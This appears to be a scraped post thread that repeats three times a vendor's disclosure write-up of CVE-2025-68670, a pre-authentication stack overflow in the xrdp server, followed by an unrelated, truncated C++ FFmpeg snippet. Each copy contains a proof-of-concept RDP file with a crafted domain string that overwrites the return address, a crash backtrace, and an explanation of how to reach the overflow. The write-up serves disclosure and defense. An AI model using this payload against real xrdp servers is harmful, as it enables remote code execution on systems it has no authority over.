    g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
    }
    }
    return ret;
    }
    As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

    To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

    PoC


    As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
    alternate full address:s:172.22.118.7
    full address:s:172.22.118.7
    domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
    username:s:testuser
    When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
    gef➤ bt
    #0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
    #1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
    #2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
    #3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
    #4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
    #5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
    #6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
    #7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
    #8 0x000063654a2e5ad5 in ?? ()
    #9 0x4141414141414141 in ?? ()
    #10 0x00007adb00000a00 in ?? ()
    #11 0x0000000000050004 in ?? ()
    #12 0x00007fff91732220 in ?? ()
    #13 0x000000000000030a in ?? ()
    #14 0xfffffffffffffff8 in ?? ()
    #15 0x000000052dc71740 in ?? ()
    #16 0x3030305f70647278 in ?? ()
    #17 0x616d5f6130333030 in ?? ()
    #18 0x00636e79735f6e69 in ?? ()
    #19 0x0000000000000000 in ?? ()

    Protection against vulnerability exploitation


    It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

    The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

    Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

    Vulnerability remediation timeline


    • 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
    • 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
    • 12/15/2025: investigation and prioritization of the vulnerability began.
    • 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
    • 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
    • 01/27/2026: the patch was merged into the project’s main branch.


    Conclusion


    Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

    However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

    securelist.com/cve-2025-68670/…

  4. CVE-2025-68670: discovering an RCE vulnerability in xrdp

    In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

    We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

    Client data transmission via RDP


    Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
    {
    [..SNIP..]
    char username[INFO_CLIENT_MAX_CB_LEN];
    char password[INFO_CLIENT_MAX_CB_LEN];
    char domain[INFO_CLIENT_MAX_CB_LEN];
    char program[INFO_CLIENT_MAX_CB_LEN];
    char directory[INFO_CLIENT_MAX_CB_LEN];
    [..SNIP..]
    }
    The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
    #define INFO_CLIENT_MAX_CB_LEN 512
    When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
    if (ts_info_utf16_in( //
    [1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
    [2]{
    [..SNIP..]
    }
    The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
    static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
    {
    int rv = 0;
    LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
    if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
    {
    rv = 1;
    }
    else
    {
    int term;
    int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
    dst, dst_len);
    if (num_chars > dst_len) //
    [3] {
    LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
    }
    / / String should be null-terminated. We haven't read the terminator yet
    in_uint16_le(s, term);
    if (term != 0)
    {
    LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
    rv = 1;
    }
    }
    return rv;
    }
    Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
    {
    unsigned int rv = 0;
    char32_t c32;
    char u8str[MAXLEN_UTF8_CHAR];
    unsigned int u8len;
    char *saved_s_end = s->end;

    // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
    parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
    // Temporarily set the stream end pointer to allow us to use
    // s_check_rem() when reading in UTF-16 words
    if (s->end - s->p > (int)(n * 2))
    {
    s->end = s->p + (int)(n * 2);
    }

    while (s_check_rem(s, 2))
    {
    c32 = get_c32_from_stream(s);
    u8len = utf_char32_to_utf8(c32, u8str);
    if (u8len + 1 <= vn) //
    [4] {
    /* Room for this character and a terminator. Add the character */
    unsigned int i;
    for (i = 0 ; i < u8len ; ++i)
    {
    v[i] = u8str[i];
    }

    v n -= u8len;
    v += u8len;
    }

    else if (vn > 1)
    {
    /* We've skipped a character, but there's more than one byte
    * remaining in the output buffer. Mark the output buffer as
    * full so we don't get a smaller character being squeezed into
    * the remaining space */
    vn = 1;
    }

    r v += u8len;
    }
    // Restore stream to full length s->end = saved_s_end;
    if (vn > 0)
    {
    *v = '\0'; //
    [5] }
    + +rv;
    return rv;
    }
    Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

    CVE-2025-68670: an RCE vulnerability in xrdp


    The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
    x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
    int decode, char *resultBuffer)
    xrdp_login_wnd_create(struct xrdp_wm *self)
    xrdp_wm_init(struct xrdp_wm *self)
    xrdp_wm_login_state_changed(struct xrdp_wm *self)
    xrdp_wm_check_wait_objs(struct xrdp_wm *self)
    xrdp_process_main_loop(struct xrdp_process *self)
    The code snippet where the vulnerable function is called looks like this:
    char resultIP[256]; //
    [7][..SNIP..]
    combo->item_index = xrdp_wm_parse_domain_information(
    self->session->client_info->domain, //
    [6] combo->data_list->count, 1,
    resultIP /* just a dummy place holder, we ignore
    */ );
    As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
    static int
    xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
    int decode, char *resultBuffer)
    {
    int ret;
    int pos;
    int comboxindex;
    char index[2];

    /* If the first char in the domain name is '_' we use the domain name as IP*/
    ret = 0; /* default return value */
    /* resultBuffer assumed to be 256 chars */
    g_memset(resultBuffer, 0, 256);
    if (originalDomainInfo[0] == '_') //
    [8] {
    /* we try to locate a number indicating what combobox index the user
    * prefer the information is loaded from domain field, from the client
    * We must use valid chars in the domain name.
    * Underscore is a valid name in the domain.
    * Invalid chars are ignored in microsoft client therefore we use '_'
    * again. this sec '__' contains the split for index.*/
    pos = g_pos(&originalDomainInfo[1], "__"); //
    [9] if (pos > 0)
    {
    /* an index is found we try to use it */
    LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
    if (decode)
    {
    [..SNIP..]
    }
    / * pos limit the String to only contain the IP */
    g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
    [10] }
    else
    {
    LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
    g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
    }
    }
    return ret;
    }
    As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

    To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

    PoC


    As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
    alternate full address:s:172.22.118.7
    full address:s:172.22.118.7
    domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
    username:s:testuser
    When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
    gef➤ bt
    #0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
    #1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
    #2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
    #3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
    #4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
    #5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
    #6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
    #7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
    #8 0x000063654a2e5ad5 in ?? ()
    #9 0x4141414141414141 in ?? ()
    #10 0x00007adb00000a00 in ?? ()
    #11 0x0000000000050004 in ?? ()
    #12 0x00007fff91732220 in ?? ()
    #13 0x000000000000030a in ?? ()
    #14 0xfffffffffffffff8 in ?? ()
    #15 0x000000052dc71740 in ?? ()
    #16 0x3030305f70647278 in ?? ()
    #17 0x616d5f6130333030 in ?? ()
    #18 0x00636e79735f6e69 in ?? ()
    #19 0x0000000000000000 in ?? ()

    Protection against vulnerability exploitation


    It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

    The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

    Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

    Vulnerability remediation timeline


    • 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
    • 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
    • 12/15/2025: investigation and prioritization of the vulnerability began.
    • 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
    • 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
    • 01/27/2026: the patch was merged into the project’s main branch.


    Conclusion


    Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

    However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

    securelist.com/cve-2025-68670/…

  5. CVE-2025-68670: discovering an RCE vulnerability in xrdp

    In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

    We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

    Client data transmission via RDP


    Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
    {
    [..SNIP..]
    char username[INFO_CLIENT_MAX_CB_LEN];
    char password[INFO_CLIENT_MAX_CB_LEN];
    char domain[INFO_CLIENT_MAX_CB_LEN];
    char program[INFO_CLIENT_MAX_CB_LEN];
    char directory[INFO_CLIENT_MAX_CB_LEN];
    [..SNIP..]
    }
    The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
    #define INFO_CLIENT_MAX_CB_LEN 512
    When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
    if (ts_info_utf16_in( //
    [1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
    [2]{
    [..SNIP..]
    }
    The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
    static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
    {
    int rv = 0;
    LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
    if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
    {
    rv = 1;
    }
    else
    {
    int term;
    int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
    dst, dst_len);
    if (num_chars > dst_len) //
    [3] {
    LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
    }
    / / String should be null-terminated. We haven't read the terminator yet
    in_uint16_le(s, term);
    if (term != 0)
    {
    LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
    rv = 1;
    }
    }
    return rv;
    }
    Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
    {
    unsigned int rv = 0;
    char32_t c32;
    char u8str[MAXLEN_UTF8_CHAR];
    unsigned int u8len;
    char *saved_s_end = s->end;

    // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
    parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
    // Temporarily set the stream end pointer to allow us to use
    // s_check_rem() when reading in UTF-16 words
    if (s->end - s->p > (int)(n * 2))
    {
    s->end = s->p + (int)(n * 2);
    }

    while (s_check_rem(s, 2))
    {
    c32 = get_c32_from_stream(s);
    u8len = utf_char32_to_utf8(c32, u8str);
    if (u8len + 1 <= vn) //
    [4] {
    /* Room for this character and a terminator. Add the character */
    unsigned int i;
    for (i = 0 ; i < u8len ; ++i)
    {
    v[i] = u8str[i];
    }

    v n -= u8len;
    v += u8len;
    }

    else if (vn > 1)
    {
    /* We've skipped a character, but there's more than one byte
    * remaining in the output buffer. Mark the output buffer as
    * full so we don't get a smaller character being squeezed into
    * the remaining space */
    vn = 1;
    }

    r v += u8len;
    }
    // Restore stream to full length s->end = saved_s_end;
    if (vn > 0)
    {
    *v = '\0'; //
    [5] }
    + +rv;
    return rv;
    }
    Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

    CVE-2025-68670: an RCE vulnerability in xrdp


    The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
    x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
    int decode, char *resultBuffer)
    xrdp_login_wnd_create(struct xrdp_wm *self)
    xrdp_wm_init(struct xrdp_wm *self)
    xrdp_wm_login_state_changed(struct xrdp_wm *self)
    xrdp_wm_check_wait_objs(struct xrdp_wm *self)
    xrdp_process_main_loop(struct xrdp_process *self)
    The code snippet where the vulnerable function is called looks like this:
    char resultIP[256]; //
    [7][..SNIP..]
    combo->item_index = xrdp_wm_parse_domain_information(
    self->session->client_info->domain, //
    [6] combo->data_list->count, 1,
    resultIP /* just a dummy place holder, we ignore
    */ );
    As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
    static int
    xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
    int decode, char *resultBuffer)
    {
    int ret;
    int pos;
    int comboxindex;
    char index[2];

    /* If the first char in the domain name is '_' we use the domain name as IP*/
    ret = 0; /* default return value */
    /* resultBuffer assumed to be 256 chars */
    g_memset(resultBuffer, 0, 256);
    if (originalDomainInfo[0] == '_') //
    [8] {
    /* we try to locate a number indicating what combobox index the user
    * prefer the information is loaded from domain field, from the client
    * We must use valid chars in the domain name.
    * Underscore is a valid name in the domain.
    * Invalid chars are ignored in microsoft client therefore we use '_'
    * again. this sec '__' contains the split for index.*/
    pos = g_pos(&originalDomainInfo[1], "__"); //
    [9] if (pos > 0)
    {
    /* an index is found we try to use it */
    LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
    if (decode)
    {
    [..SNIP..]
    }
    / * pos limit the String to only contain the IP */
    g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
    [10] }
    else
    {
    LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
    g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
    }
    }
    return ret;
    }
    As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

    To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

    PoC


    As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
    alternate full address:s:172.22.118.7
    full address:s:172.22.118.7
    domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
    username:s:testuser
    When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
    gef➤ bt
    #0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
    #1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
    #2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
    #3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
    #4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
    #5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
    #6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
    #7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
    #8 0x000063654a2e5ad5 in ?? ()
    #9 0x4141414141414141 in ?? ()
    #10 0x00007adb00000a00 in ?? ()
    #11 0x0000000000050004 in ?? ()
    #12 0x00007fff91732220 in ?? ()
    #13 0x000000000000030a in ?? ()
    #14 0xfffffffffffffff8 in ?? ()
    #15 0x000000052dc71740 in ?? ()
    #16 0x3030305f70647278 in ?? ()
    #17 0x616d5f6130333030 in ?? ()
    #18 0x00636e79735f6e69 in ?? ()
    #19 0x0000000000000000 in ?? ()

    Protection against vulnerability exploitation


    It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

    The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

    Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

    Vulnerability remediation timeline


    • 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
    • 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
    • 12/15/2025: investigation and prioritization of the vulnerability began.
    • 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
    • 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
    • 01/27/2026: the patch was merged into the project’s main branch.


    Conclusion


    Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

    However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

    securelist.com/cve-2025-68670/…

  6. CW: C++
    #include "util/ffmpeg_movie_writer.h"

    #include <godot_cpp/classes/image.hpp>

    #ifdef FFMPEG_AVAILABLE
    extern "C" {
    #include <libavcodec/avcodec.h>
    #include <libavformat/avformat.h>
    #include <libswresample/swresample.h>
    #include <libswscale/swscale.h>
    }
    #endif

    void FFmpegMovieWriter::_bind_methods() {
    }

    uint32_t FFmpegMovieWriter::_get_audio_mix_rate() const {
    return 48000;
    }

    AudioServer::SpeakerMode FFmpegMovieWriter::_get_audio_speaker_mode() const {
    return AudioServer::SPEAKER_MODE_STEREO;
    }

    bool FFmpegMovieWriter::_handles_file(const String &p_path) const {
    return p_path.get_extension().to_lower() == "mkv";
    }

    PackedStringArray FFmpegMovieWriter::_get_supported_extensions() const {
    return { "mkv" };
    }

    Error FFmpegMovieWriter::_write_begin(const Vector2i &p_movie_size, uint32_t p_fps, const String &p_base_path) {
    #ifdef FFMPEG_AVAILABLE
    int error = avformat_alloc_output_context2(&_context, nullptr, "matroska", p_base_path.utf8().get_data());
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    const AVCodec *video_codec = avcodec_find_encoder(AV_CODEC_ID_AV1);
    ERR_FAIL_NULL_V_MSG(video_codec, FAILED, "ffmpeg was not compiled with AV1 support");

    _video_context = avcodec_alloc_context3(video_codec);
    ERR_FAIL_NULL_V_MSG(_video_context, FAILED, "failed to allocate video context");

    _video_context->time_base = av_make_q(1, p_fps);
    _video_context->framerate = av_make_q(p_fps, 1);
